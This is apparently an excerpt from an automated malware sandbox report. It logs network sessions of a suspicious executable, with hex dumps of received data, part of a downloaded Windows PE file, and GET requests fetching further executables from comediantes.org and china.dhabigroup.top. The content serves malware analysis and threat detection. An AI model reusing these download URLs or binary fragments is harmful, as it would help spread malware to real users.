2023-12-20 14:35:44 UTC	8000	IN	Data Raw: 36 de a4 1c fa fc 07 99 74 85 3b 46 64 29 6f 22 5a 86 3f d7 ac 83 e6 a7 1b 76 8d 7a b8 2e 04 1e 66 5b a7 45 3a 53 19 f6 bb 43 ed 64 8f 71 b4 79 dd cf 01 a0 20 e0 80 c9 d1 05 43 e2 83 e5 8e f4 a7 45 af 4d 3b b0 ba 76 79 06 bf 6c ec 85 be ec ec 17 df f8 e8 85 3a ab 55 bc 49 ab aa e3 4b 7d 21 7a 7b 46 17 13 b3 fb 98 64 71 4e 8d 7f 79 d3 40 1a 61 c6 2e 64 dc 29 76 2b 81 9b 6f 98 0f 0a 05 a8 d3 d4 36 e0 ea e6 11 aa 5a 59 ff ce 9f 5e d3 05 b4 c2 8f ca e7 14 f0 1d 80 a0 9d 01 f2 dd a9 06 7f 65 9f fb 73 3d 0b 00 15 e0 67 79 2d ad cb 28 fe 34 35 4a 47 f0 c8 17 a4 c4 8f 7a 44 b8 7e 02 a9 9f 25 17 b2 c2 8d 79 1d f0 a8 85 5a 30 12 0f ff 16 46 cb 4e 83 2e 50 11 b9 ce 33 c1 7d 58 35 81 f3 c9 da 89 63 4e b8 f8 db 8f 12 f4 bb af 2b 22 dc f8 89 15 fa a9 51 ff c5 53 5e ec Data Ascii: 6t;Fd)o"Z?vz.f[E:SCdqy CEM;vyl:UIK}!z{FdqNy@a.d)v+o6ZY^es=gy-(45JGzD~%yZ0FN.P3}X5cN+"QS^
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: f1 12 00 b1 d0 93 49 fd 0d 32 33 6e 3e e4 8d 8d d0 7c a3 4c ad 2b 63 a5 50 e6 eb e2 54 3d b4 39 d7 d5 48 0e c2 42 95 e7 61 a1 f4 57 f5 46 cd 0c 54 b2 44 dd 39 b4 b3 77 bc e1 64 7e 6f 47 2f 58 b8 f5 47 38 4f e7 7c 22 dd 20 f1 25 36 f5 d8 2f 81 06 b3 7f 66 f5 f1 66 1b 4b ad 63 c0 59 42 53 42 6b 2f 49 f0 62 87 5d 5d 96 f2 85 f8 61 30 b6 af b3 60 ce ef e7 6e bd 91 bc d2 a3 8b a5 4b 63 85 b6 61 0f a1 c2 29 dc 81 f8 26 94 47 ce c8 35 5b 7b 74 e8 2c 0e 30 2b 80 61 de 47 69 a5 a5 86 5d ad b0 39 96 cb 36 de b8 b7 e3 d7 cc dc d9 5c 44 4a f3 bb 59 92 32 78 e5 75 4a cb 7c a1 8f 18 51 84 92 14 42 bb 5e 66 1e 30 34 ba 65 79 a0 78 eb fa a5 dc 4e bc b4 d8 57 36 21 04 f7 cc a0 8e 70 11 0e e6 e1 de 17 34 e8 79 a0 d0 fb 7f 51 40 2c 25 95 bb b4 2f 94 1b 96 ba da 62 bd 5e e2 Data Ascii: I23n>\|L+cPT=9HBaWFTD9wd~oG/XG8O\|" %6/ffKcYBSBk/Ib]]a0`nKca)&G5[{t,0+aGi]96\DJY2xuJ\|QB^f04eyxNW6!p4yQ@,%/b^
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: 1d 39 95 a2 70 fc e8 ea e1 9b a4 46 4e 85 7e 0e d8 bf 3a 43 c0 b1 f5 23 ba 15 34 79 dc 60 94 52 76 26 be e6 09 75 45 3a 89 d7 bf 2a c8 30 3b 98 1e e8 3f 6a d0 76 8f da 8b a4 62 3a c2 d6 e4 34 e5 a0 e5 82 35 05 7e 66 c7 b3 43 3c 6e d9 14 3a 52 6c ae f8 48 62 1f 6c 54 1c 40 83 d7 da 71 12 8f 85 87 07 4a 0c f0 bb 20 ff 95 a0 c7 1b 00 7c d7 06 b5 45 73 6a a4 df cd fd 01 8f ee dd 5f 3d 7b 07 29 b0 7e 54 aa d5 65 eb a3 d8 94 64 11 f6 8b 0b a2 32 ad d6 87 54 62 9d bb 79 a0 30 4d b8 66 2d fb 70 c9 9b 92 ff 34 09 1a a7 26 4c 90 8e bd 3d e2 b9 e8 06 6a 9d d2 6c b2 a0 28 ca 36 ae d4 f6 56 4f a9 97 6d de 6d 31 5c 02 7e 3e bf 65 c5 8d ab 89 49 3e 5d f7 2e ac 6f f1 dd a7 ad a6 75 8c 0e 6c d7 45 74 c8 40 db da 37 f2 82 49 9e 78 cc 23 83 ba a6 0c 6d cf 4c dc ff 00 a1 db Data Ascii: 9pFN~:C#4y`Rv&uE:*0;?jvb:45~fC<n:RlHblT@qJ \|Esj_={)~Ted2Tby0Mf-p4&L=jl(6VOmm1\~>eI>].oulEt@7Ix#mL
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: f9 37 91 db f9 22 7b 59 84 2c c3 9d f5 f3 0d 74 ad 7d fa 21 d5 8b b5 11 e6 e1 c7 43 81 a1 ef 22 40 dc 21 79 30 7d af 8b 86 44 27 ab 22 46 04 95 37 b5 0f 50 49 09 ee 57 06 3a cd fc 00 a6 fc 5f 31 fc 88 f7 a0 ef 58 63 b6 43 57 01 b2 e0 21 76 6a 53 c1 d7 b6 a5 5b 83 56 33 af 3a 0b 23 15 b2 82 16 48 2e d6 00 41 92 32 e5 d0 c9 c7 04 39 ea 43 c4 ff 68 5e 9b 01 87 43 47 28 54 34 04 e1 80 b7 7d 11 4f 81 56 60 30 dc b9 55 dd be 6c 19 c2 7c 00 4b f4 ee 59 76 52 bd 35 cd 52 45 f9 bc 98 f7 e5 d9 ae 5d 73 dc 72 dc 4b 8a 95 35 02 52 7a ce 7b ee 4a d3 8e 5e 4b 48 97 b7 45 5b 32 73 54 57 67 4f 9a f3 51 9d b6 5d 63 1e 7a 29 de a4 ea 1b e1 40 51 05 f2 b8 b3 73 ea 94 c9 20 21 57 4d 89 12 7e 8c 2b d5 b8 3a 9c a7 69 12 3d 6f 3e ee a6 2e 43 55 de 15 dc b6 cd 1a ad 81 d8 5a 4b Data Ascii: 7"{Y,t}!C"@!y0}D'"F7PIW:_1XcCW!vjS[V3:#H.A29Ch^CG(T4}OV`0Ul\|KYvR5RE]srK5Rz{J^KHE[2sTWgOQ]cz)@Qs !WM~+:i=o>.CUZK
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: 4b 09 fe eb ef c7 e6 4a 38 10 9b 1d 7b fe c2 48 6d 21 42 d6 6d c9 62 50 81 a5 81 72 75 5f 7a 12 ca b8 8e f3 36 9e ba e6 4b 6e 00 69 57 a1 5f 20 95 11 65 8f 8c c6 a5 55 9a 06 fe 0e e2 d1 e3 b9 1d f1 c6 0a 0b e5 77 ad 16 52 3c b8 d5 de 62 75 13 fa 38 30 66 12 1a 1b a1 db eb 2c 2b 53 06 42 17 12 13 11 a5 04 a7 67 27 01 c2 38 1b c2 9d db 53 99 27 ab 64 6c 8e c2 fb 08 3d 20 d0 c3 bf e6 99 14 4d 50 a8 b6 6f 82 64 2c 39 e2 63 f2 93 3e 7b df ad 1e bb 0f 86 c3 54 0e 7a 65 a2 a7 f7 61 41 c7 57 e2 0f df 06 58 25 09 7b bc b6 27 1a ad 41 3b 57 89 0e f7 e3 68 79 61 b0 6b c8 03 94 ee ed 74 e6 88 6f 78 bd e8 b5 37 dd 93 a9 9c 2f 5c 41 f4 60 ef 89 dc 64 01 43 88 d8 47 52 7a 95 65 24 57 87 fe 7a b9 9b cc 48 03 14 15 38 de 37 da f8 d3 17 ca 60 bd dd c1 6b 81 83 61 99 ac 9e Data Ascii: KJ8{Hm!BmbPru_z6KniW_ eUwR<bu80f,+SBg'8S'dl= MPod,9c>{TzeaAWX%{'A;Whyaktox7/\A`dCGRze$WzH87`ka
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: b0 b2 65 c1 7f 81 6d d8 0e 72 68 96 b6 dd 4c 4c 45 c9 44 34 a2 99 24 5d bb 8d 99 97 c4 fc 2c 7f 86 83 c3 1d 4d c1 39 b1 6e 81 20 0a 0b d4 69 37 37 6b 03 b9 fe d7 96 22 ed 49 3d d7 13 81 65 c8 98 03 9a 62 30 d1 d0 ac 75 9a 40 f4 17 98 f2 e9 3b b4 34 de da af 6d 15 6d 8f 4a 4d bd cc 69 1a 24 01 e2 fc 2c 18 65 f6 8d 5c bb d0 ba 9c 88 58 49 21 2b 86 e4 1f 09 5f 48 18 81 45 83 72 89 9d ad d9 3f 35 58 09 31 64 ed 7c 7f f8 20 86 0a f1 89 11 53 b1 69 1f c3 63 e2 75 4f 1f 20 e2 e9 d3 75 d2 bb 1d 36 ac 42 8a 8e dc f3 15 8f a4 40 2e e8 b8 c6 f0 52 82 c1 ed a8 d3 d3 4f e6 21 56 ff 3d 58 60 81 21 52 5e 08 31 b9 3b 44 15 87 2e cc 72 b3 88 d2 07 ae 78 cd 72 a9 83 ad d9 7d 71 93 4a 09 ff 6e c4 db 40 f1 be 96 1b 70 d6 1c c0 9f 26 c2 30 47 f3 31 7c 35 26 88 52 4a d1 3a 53 Data Ascii: emrhLLED4$],M9n i77k"I=eb0u@;4mmJMi$,e\XI!+_HEr?5X1d\| SicuO u6B@.RO!V=X`!R^1;D.rxr}qJn@p&0G1\|5&RJ:S
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: 23 34 19 40 05 54 b1 b2 b9 65 49 0b d5 16 8c 49 f9 34 ad 28 f7 0c d7 55 31 e5 b6 7b 88 04 b6 3b 85 70 e6 d6 1e 3e e2 1d 25 ae 8b e7 29 4d a0 b8 7e 79 ee f3 8d 2c 92 1f bc 7b 18 b1 cd 40 22 80 49 de 2b e8 5b 10 fa 3d 18 cc d5 2c d9 10 7e 1b 5a 9d 84 19 41 22 04 67 9b cb 29 89 af 4b f9 a2 d0 47 a8 15 1e 53 76 d5 b6 0f c6 0f 19 22 3d 67 f0 2a 06 b9 b1 e2 5e 1f 08 0a f2 98 41 9c fe 03 fe 8a cc 9f 4a 82 b8 bd 35 12 14 82 39 94 7b 3a 9e a5 d0 c1 c2 ee aa 0c 37 94 c3 c4 b8 cd cb c1 1e 70 ca d2 d3 d4 c1 3f e5 f9 a7 db f6 73 a0 3e 62 02 13 df 4f 8e c5 c7 52 f3 70 11 7d 82 94 67 ae f6 03 4f 6d b0 23 b8 66 8b a3 f6 d9 ed 80 18 23 40 7a e1 a7 5c 34 14 d7 2c 1d 1d 19 bc 0c e8 a8 0c 36 62 ae 65 db c8 3e c2 d6 34 c2 17 b8 db 54 6a 6a 4c 2c 6d a8 f3 35 5d a5 39 6a 5c 17 Data Ascii: #4@TeII4(U1{;p>%)M~y,{@"I+[=,~ZA"g)KGSv"=g*^AJ59{:7p?s>bORp}gOm#f#@z\4,6be>4TjjL,m5]9j\
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: 36 5f 46 c6 cf da a8 44 b5 66 a9 80 dd 9e b2 a1 ca 46 46 4f 23 10 1b 00 41 04 87 c4 e2 24 d3 c2 5d 2c 17 78 95 20 6e 4d 04 66 72 a7 75 84 fa 0e 7d f7 64 90 fc 20 9c 57 6b 4b 0d 34 a0 ce 34 db 3b b2 27 aa 98 66 55 cd c6 44 bf c4 99 e8 09 7a 04 35 f9 51 eb ac 16 4e 41 28 f9 68 0b c3 06 ff b5 62 fd c2 7c 68 6d 93 b7 64 f7 90 37 b3 dd a8 69 27 1a a5 fd df f8 be 88 c3 d7 c5 8f 9b 7d 13 9c 0c 3c 75 1b d3 3a 72 d6 98 fb 9d fe 98 ff 77 10 3b 4e b8 69 42 d7 f3 60 29 d2 c5 49 fd 6e f9 c3 a1 fa 5a d0 e6 e8 e4 17 0b 04 f5 57 e8 1a 5a 09 fa 76 fa 42 a9 94 56 0e b9 26 ad 06 92 16 3f 23 44 5d 73 54 0e 66 77 99 53 90 48 be 65 af 75 a7 6e 5b 27 e7 47 c5 85 50 91 45 26 a4 d5 d1 9b 15 eb 44 4c be 2e f5 39 df 77 11 36 72 82 c0 8b 7e f1 84 64 0b f2 e5 d9 69 58 bf 7c 7b d2 20 Data Ascii: 6_FDfFFO#A$],x nMfru}d WkK44;'fUDz5QNA(hb\|hmd7i'}<u:rw;NiB`)InZWZvBV&?#D]sTfwSHeun['GPE&DL.9w6r~diX\|{
2023-12-20 14:35:44 UTC	8000	IN	Data Raw: 27 6e 70 6a 40 68 87 42 2e 8c 61 31 7a 81 c9 9b 5e e0 b6 fd f9 79 0f 28 53 0d b8 d1 ea 14 aa 63 fc a8 12 2d 96 8a 29 1a 4e 19 4a 7e 70 d6 3b 46 5d 9f e6 99 d7 8d 9c f5 b0 7f 77 fa 23 29 ba a8 6d 0d 9a d1 fc 76 66 54 48 d5 81 3b 82 05 d1 d8 0f 69 69 e3 ad 43 b9 46 9e 8d 92 d3 5a 79 e9 5d aa 38 cc d6 4f 0a f4 c9 e2 3e d5 02 72 43 f1 e3 f5 f9 c1 bb ff 91 ca 07 38 a1 5d 63 31 02 8b ee f0 77 41 0b 1a 8e 86 22 9c 87 10 ea a1 a1 cd 0b c7 1c 1b 26 5d 23 d1 e6 ca 1a 9d 04 d4 b9 d4 c7 61 9e e5 8b d8 2d d9 ec bf 6b e2 27 0a ac d8 d0 a6 a4 9f f0 1e 0f 31 39 94 db e4 8f 5f de 49 93 16 ef 6d 53 81 06 3d 27 fd ae 8c 38 dd 53 70 33 0f ad 69 95 e8 b5 ce 6d 3a 54 c8 f1 cc 4a 02 02 30 e7 77 1f 2d de 11 58 f4 4f 99 b2 a0 67 ce fb 83 78 09 43 8d ee 42 41 59 20 a1 f5 7f da c4 Data Ascii: 'npj@hB.a1z^y(Sc-)NJ~p;F]w#)mvfTH;iiCFZy]8O>rC8]c1wA"&]#a-k'19_ImS='8Sp3im:TJ0w-XOgxCBAY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49941	162.241.217.120	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:37:21 UTC	103	OUT	GET /wp-admin/user/513/Voiceaibeta-5.13.exe HTTP/1.1 Host: comediantes.org Connection: Keep-Alive
2023-12-20 14:37:21 UTC	294	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:37:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 18 Dec 2023 13:31:05 GMT Accept-Ranges: bytes Content-Length: 15896780 host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Type: application/x-msdownload
2023-12-20 14:37:21 UTC	7898	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e6 36 ff c0 a2 57 91 93 a2 57 91 93 a2 57 91 93 e9 2f 92 92 a5 57 91 93 e9 2f 94 92 1d 57 91 93 e9 2f 95 92 a8 57 91 93 ed 2b 6c 93 a6 57 91 93 ed 2b 94 92 8a 57 91 93 ed 2b 95 92 b3 57 91 93 ed 2b 92 92 ab 57 91 93 e9 2f 90 92 a9 57 91 93 a2 57 90 93 29 57 91 93 65 2b 95 92 b6 57 91 93 65 2b 93 92 a3 57 91 93 52 69 63 68 a2 57 91 93 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6WWW/W/W/W+lW+W+W+W/WW)We+We+WRichW
2023-12-20 14:37:21 UTC	8000	IN	Data Raw: 4c 8d 83 78 20 00 00 c7 44 24 38 5c 00 00 00 48 8d 85 50 3f 00 00 48 89 44 24 30 48 8d 15 1c 81 02 00 48 8d 05 11 81 02 00 c7 44 24 28 5c 00 00 00 48 8d 8d 50 2f 00 00 48 89 44 24 20 e8 e4 02 00 00 85 c0 75 66 48 8b cb e8 f8 3b 00 00 83 f8 ff 74 21 48 8d 93 78 30 00 00 4c 8d 44 24 50 48 8d 8d 50 2f 00 00 e8 bb 3a 00 00 83 f8 ff 0f 85 78 02 00 00 48 8d 54 24 50 48 8d 0d a6 80 02 00 e8 11 fc ff ff b8 ff ff ff ff 48 8b bc 24 90 50 00 00 48 8b 8d 50 4f 00 00 48 33 cc e8 05 82 00 00 48 81 c4 60 50 00 00 5e 5b 5d c3 48 8d 85 50 0f 00 00 41 b9 5c 00 00 00 4c 8d 83 78 20 00 00 48 89 44 24 20 48 8d 15 82 80 02 00 48 8d 8d 50 1f 00 00 e8 4e 02 00 00 85 c0 74 64 48 8d 85 50 0f 00 00 41 b9 5c 00 00 00 4c 8d 83 78 20 00 00 48 89 44 24 20 48 8d 15 62 80 02 00 48 8d 8d Data Ascii: Lx D$8\HP?HD$0HHD$(\HP/HD$ ufH;t!Hx0LD$PHP/:xHT$PHH$PHPOH3H`P^[]HPA\Lx HD$ HHPNtdHPA\Lx HD$ HbH
2023-12-20 14:37:21 UTC	8000	IN	Data Raw: 4c 24 60 e8 8e 27 00 00 4c 8d 44 24 20 48 8d 93 78 40 00 00 48 8d 8c 24 60 10 00 00 e8 f5 f2 ff ff 48 85 c0 75 19 41 b8 00 10 00 00 48 8d 93 78 40 00 00 48 8d 0d 74 74 02 00 e8 17 dd ff ff 48 8d 8c 24 60 10 00 00 e8 4a 27 00 00 48 85 c0 75 22 4c 8d 84 24 60 10 00 00 48 8d 15 86 74 02 00 48 8d 0d 9f 74 02 00 e8 9a db ff ff b8 ff ff ff ff eb 0e 8b 15 f1 91 03 00 48 8b c8 e8 55 f3 ff ff 48 8b 8c 24 60 20 00 00 48 33 cc e8 d5 62 00 00 48 8b 9c 24 88 20 00 00 48 81 c4 70 20 00 00 5f c3 cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 57 b8 40 20 00 00 e8 d6 62 00 00 48 2b e0 48 8b 05 34 85 03 00 48 33 c4 48 89 84 24 30 20 00 00 48 8b 05 9a 91 03 00 33 ed 48 8b 59 10 48 8b f1 c7 00 01 00 00 00 48 8b 05 7c 91 03 00 c7 00 01 00 00 00 48 8b 05 9f 91 03 00 Data Ascii: L$`'LD$ Hx@H$`HuAHx@HttH$`J'Hu"L$`HtHtHUH$` H3bH$ Hp _H\$Hl$Ht$ W@ bH+H4H3H$0 H3HYHH\|H
2023-12-20 14:37:21 UTC	8000	IN	Data Raw: 00 48 8b cb e8 39 d7 00 00 b8 01 00 00 00 48 8b 8c 24 50 20 00 00 48 33 cc e8 08 44 00 00 4c 8d 9c 24 60 20 00 00 49 8b 5b 30 49 8b 6b 38 49 8b e3 41 5e 5f 5e c3 b8 38 40 00 00 e8 16 44 00 00 48 2b e0 48 8b 05 74 66 03 00 48 33 c4 48 89 84 24 20 40 00 00 48 8b d1 45 33 c0 33 c9 e8 74 10 00 00 41 b8 00 20 00 00 48 8d 54 24 20 48 8b c8 ff 15 f8 36 02 00 85 c0 74 52 41 b8 00 20 00 00 48 8d 94 24 20 20 00 00 48 8d 4c 24 20 ff 15 eb 36 02 00 45 33 c0 48 8d 54 24 20 33 c9 e8 44 11 00 00 48 85 c0 74 25 80 38 00 74 20 48 8b c8 e8 fe 26 01 00 48 8b 8c 24 20 40 00 00 48 33 cc e8 62 43 00 00 48 81 c4 38 40 00 00 c3 33 c0 48 8b 8c 24 20 40 00 00 48 33 cc e8 48 43 00 00 48 81 c4 38 40 00 00 c3 48 89 5c 24 18 57 b8 60 40 00 00 e8 60 43 00 00 48 2b e0 48 8b 05 be 65 03 Data Ascii: H9H$P H3DL$` I[0Ik8IA^_^8@DH+HtfH3H$ @HE33tA HT$ H6tRA H$ HL$ 6E3HT$ 3DHt%8t H&H$ @H3bCH8@3H$ @H3HCH8@H\$W`@`CH+He
2023-12-20 14:37:22 UTC	8000	IN	Data Raw: f7 e1 d1 ea 8d 4a 01 0f 1f 40 00 66 66 66 0f 1f 84 00 00 00 00 00 41 0f b6 01 41 83 c3 fd 41 88 00 41 0f b6 41 01 41 88 40 01 41 0f b6 41 02 49 83 c1 03 41 88 40 02 49 83 c0 03 48 2b cd 75 d6 45 85 db 0f 84 90 00 00 00 41 0f b6 01 8b b4 24 88 00 00 00 41 88 00 49 ff c0 44 3b dd 4c 8b 5c 24 08 0f 86 7d 00 00 00 41 0f b6 41 01 41 88 00 49 ff c0 eb 70 8b c6 49 8b c8 48 2b c8 66 0f 1f 84 00 00 00 00 00 0f b6 01 48 8d 49 03 41 88 00 41 83 c3 fd 0f b6 41 fe 41 88 40 01 0f b6 41 ff 41 88 40 02 49 83 c0 03 41 83 fb 02 77 d8 45 85 db 74 26 0f b6 01 8b b4 24 88 00 00 00 41 88 00 49 ff c0 44 3b dd 4c 8b 5c 24 08 76 18 0f b6 41 01 41 88 00 49 ff c0 eb 0c 8b b4 24 88 00 00 00 4c 8b 5c 24 08 48 3b 7c 24 18 73 66 4d 3b c3 73 61 8b 14 24 e9 6d fc ff ff 48 8b 74 24 10 f6 Data Ascii: J@fffAAAAAA@AAIA@IH+uEA$AID;L\$}AAAIpIH+fHIAAAA@AA@IAwEt&$AID;L\$vAAI$L\$H;\|$sfM;sa$mHt$
2023-12-20 14:37:22 UTC	8000	IN	Data Raw: 41 b9 0f 00 00 00 41 8b c1 66 44 39 64 44 70 75 4f 8d 42 01 66 44 39 64 44 70 75 41 8b c2 66 44 39 64 44 70 75 31 8d 42 ff 66 44 39 64 44 70 75 20 8d 42 fe 66 44 39 64 44 70 75 0f 41 83 c1 fb 83 c2 fb 41 83 f9 01 73 bd eb 15 41 83 c1 fc eb 0f 41 83 c1 fd eb 09 41 83 c1 fe eb 03 41 ff c9 45 3b c1 41 8b c9 41 0f 46 c8 45 85 c9 75 2c 48 8b 0e c7 44 24 20 40 01 00 00 8b 44 24 20 89 01 48 83 06 04 48 8b 0e 89 01 48 83 06 04 33 c0 41 c7 03 01 00 00 00 e9 27 04 00 00 41 bb 01 00 00 00 45 3b cb 76 17 48 8d 44 24 72 66 44 39 20 75 0c 41 ff c3 48 83 c0 02 45 3b d9 72 ee 41 3b cb 45 8b d3 ba 01 00 00 00 44 0f 43 d1 44 8b c2 44 89 54 24 34 66 90 8b c2 45 03 c0 0f b7 4c 44 70 44 2b c1 0f 88 00 04 00 00 ff c2 83 fa 0f 76 e6 45 85 c0 7e 12 85 ff 0f 84 ec 03 00 00 41 83 Data Ascii: AAfD9dDpuOBfD9dDpuAfD9dDpu1BfD9dDpu BfD9dDpuAAsAAAAE;AAFEu,HD$ @D$ HHH3A'AE;vHD$rfD9 uAHE;rA;EDCDDT$4fELDpD+vE~A
2023-12-20 14:37:22 UTC	8000	IN	Data Raw: c2 4d 0f 44 c8 41 80 38 00 74 e7 49 ff c0 41 f6 c0 0f 75 e7 0f b6 c2 66 0f 6e c0 66 41 0f 3a 63 00 40 73 0d 4c 63 c9 4d 03 c8 66 41 0f 3a 63 00 40 74 bf 49 83 c0 10 eb e2 cc 0f b7 c2 4c 8b c1 45 33 c9 66 0f 6e c0 f2 0f 70 c8 00 66 0f 70 d1 00 49 8b c0 25 ff 0f 00 00 48 3d f0 0f 00 00 77 23 f3 41 0f 6f 00 0f 57 c9 66 0f 75 c8 66 0f 75 c2 66 0f eb c8 66 0f d7 c1 85 c0 75 1d b8 10 00 00 00 eb 11 66 41 39 10 74 25 66 45 39 08 74 1c b8 02 00 00 00 4c 03 c0 eb b7 0f bc c8 4c 03 c1 66 41 39 10 4d 0f 44 c8 49 8b c1 c3 33 c0 c3 49 8b c0 c3 cc cc cc cc cc cc cc cc cc 66 66 0f 1f 84 00 00 00 00 00 48 2b d1 49 83 f8 08 72 22 f6 c1 07 74 14 66 90 8a 01 3a 04 11 75 2c 48 ff c1 49 ff c8 f6 c1 07 75 ee 4d 8b c8 49 c1 e9 03 75 1f 4d 85 c0 74 0f 8a 01 3a 04 11 75 0c 48 ff Data Ascii: MDA8tIAufnfA:c@sLcMfA:c@tILE3fnpfpI%H=w#AoWfufuffufA9t%fE9tLLfA9MDI3IffH+Ir"tf:u,HIuMIuMt:uH
2023-12-20 14:37:22 UTC	8000	IN	Data Raw: 44 24 30 48 8b cf 8a 84 24 98 00 00 00 88 44 24 28 48 89 5c 24 20 e8 bb f5 ff ff b8 01 00 00 00 48 8b 5c 24 60 48 8b 6c 24 68 48 8b 74 24 70 48 8b 7c 24 78 48 83 c4 50 41 5e c3 e8 72 ab 00 00 cc cc e9 c3 fd ff ff cc cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 39 2e 02 00 0f 57 c0 48 89 0b 48 8d 53 08 48 8d 48 08 0f 11 02 e8 2b 08 00 00 48 8d 05 4c 2e 02 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 48 83 61 10 00 48 8d 05 44 2e 02 00 48 89 41 08 48 8d 05 29 2e 02 00 48 89 01 48 8b c1 c3 cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d dd 2d 02 00 0f 57 c0 48 89 0b 48 8d 53 08 48 8d 48 08 0f 11 02 e8 cf 07 00 00 48 8b c3 48 83 c4 20 5b c3 cc cc 48 8d 05 b5 2d 02 00 48 89 01 48 83 c1 08 e9 41 08 00 00 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec Data Ascii: D$0H$D$(H\$ H\$`Hl$hHt$pH\|$xHPA^r@SH HHH9.WHHSHH+HL.HHH [HaHD.HAH).HH@SH HHH-WHHSHHHH [H-HHAH\$WH
2023-12-20 14:37:22 UTC	8000	IN	Data Raw: ff 8b 8c 24 88 00 00 00 0f b7 c3 66 2b c1 66 83 f8 09 77 19 e9 5a fe ff ff 66 3b 9c 24 8c 00 00 00 73 0a 0f b7 c3 2b c2 83 f8 ff 75 22 8b 94 24 90 00 00 00 0f b7 cb 8d 41 bf 3b c2 8d 41 9f 76 04 3b c2 77 6d 3b c2 77 03 83 c1 e0 8d 41 c9 85 c0 75 5f 48 8b 0f 41 b9 df ff 00 00 0f b7 11 4c 8d 41 02 4c 89 07 8d 42 a8 66 41 85 c1 74 31 45 85 ff 48 89 0f b8 08 00 00 00 41 0f 45 c7 44 8b f8 66 85 d2 74 3b 66 39 11 74 36 e8 1a 3e 00 00 c7 00 16 00 00 00 e8 7b 97 00 00 45 33 d2 eb 21 41 0f b7 18 49 8d 40 02 48 89 07 b8 10 00 00 00 eb 05 b8 0a 00 00 00 45 85 ff 41 0f 45 c7 44 8b f8 33 d2 83 c8 ff 41 f7 f7 41 bb 61 00 00 00 bd 60 06 00 00 44 8b c8 41 bc 10 ff 00 00 45 8d 6b cf 66 41 3b dd 0f 82 a5 01 00 00 66 83 fb 3a 73 0b 0f b7 cb 41 2b cd e9 8f 01 00 00 66 41 3b Data Ascii: $f+fwZf;$s+u"$A;Av;wm;wAu_HALALBfAt1EHAEDft;f9t6>{E3!AI@HEAED3AAa`DAEkfA;f:sA+fA;
2023-12-20 14:37:22 UTC	8000	IN	Data Raw: 00 00 c6 41 24 07 48 83 c4 38 e9 17 03 00 00 3c 4e 75 41 f6 01 08 0f 85 52 01 00 00 c6 41 24 08 48 8b 41 08 45 33 c9 45 33 c0 33 d2 c6 40 30 01 c7 40 2c 16 00 00 00 48 8b 41 08 33 c9 48 89 44 24 28 48 83 64 24 20 00 e8 bd 77 00 00 32 c0 e9 1c 01 00 00 83 79 34 00 75 c6 3c 49 0f 84 b0 00 00 00 3c 4c 0f 84 9f 00 00 00 3c 54 0f 84 8e 00 00 00 3c 68 74 6c 3c 6a 74 5c 3c 6c 74 34 3c 74 74 24 3c 77 74 14 3c 7a 0f 85 e0 00 00 00 c7 41 34 06 00 00 00 e9 d4 00 00 00 c7 41 34 0c 00 00 00 e9 c8 00 00 00 c7 41 34 07 00 00 00 e9 bc 00 00 00 48 8b 41 10 80 38 6c 75 0e 48 ff c0 48 89 41 10 b8 04 00 00 00 eb 05 b8 03 00 00 00 89 41 34 e9 98 00 00 00 c7 41 34 05 00 00 00 e9 8c 00 00 00 48 8b 41 10 80 38 68 75 0e 48 ff c0 48 89 41 10 b8 01 00 00 00 eb d5 b8 02 00 00 00 eb Data Ascii: A$H8<NuARA$HAE3E33@0@,HA3HD$(Hd$ w2y4u<I<L<T<htl<jt\<lt4<tt$<wt<zA4A4A4HA8luHHAA4A4HA8huHHA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50010	172.67.195.16	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:38:01 UTC	95	OUT	GET /_errorpages/spfasiazx.exe HTTP/1.1 Host: china.dhabigroup.top Connection: Keep-Alive
2023-12-20 14:38:02 UTC	715	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:38:01 GMT Content-Type: application/octet-stream Content-Length: 661504 Connection: close Last-Modified: Wed, 20 Dec 2023 10:51:23 GMT ETag: "a1800-60ceec397c907" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 182 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qD6Yyul%2FxaXID1UrCun9ZsukG2eX4xTIyLS0bw1NgYkkEB%2Fpv125w%2FLN4ncAnSdvw5YXENGSH03n2hpPhsdFWE8gC3DO6G7e2nDj27tFi8YmZq8mZNiK5t%2F3DTkoJnIxZJ8bJM9zqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8388a06e2f9574aa-MIA alt-svc: h3=":443"; ma=86400
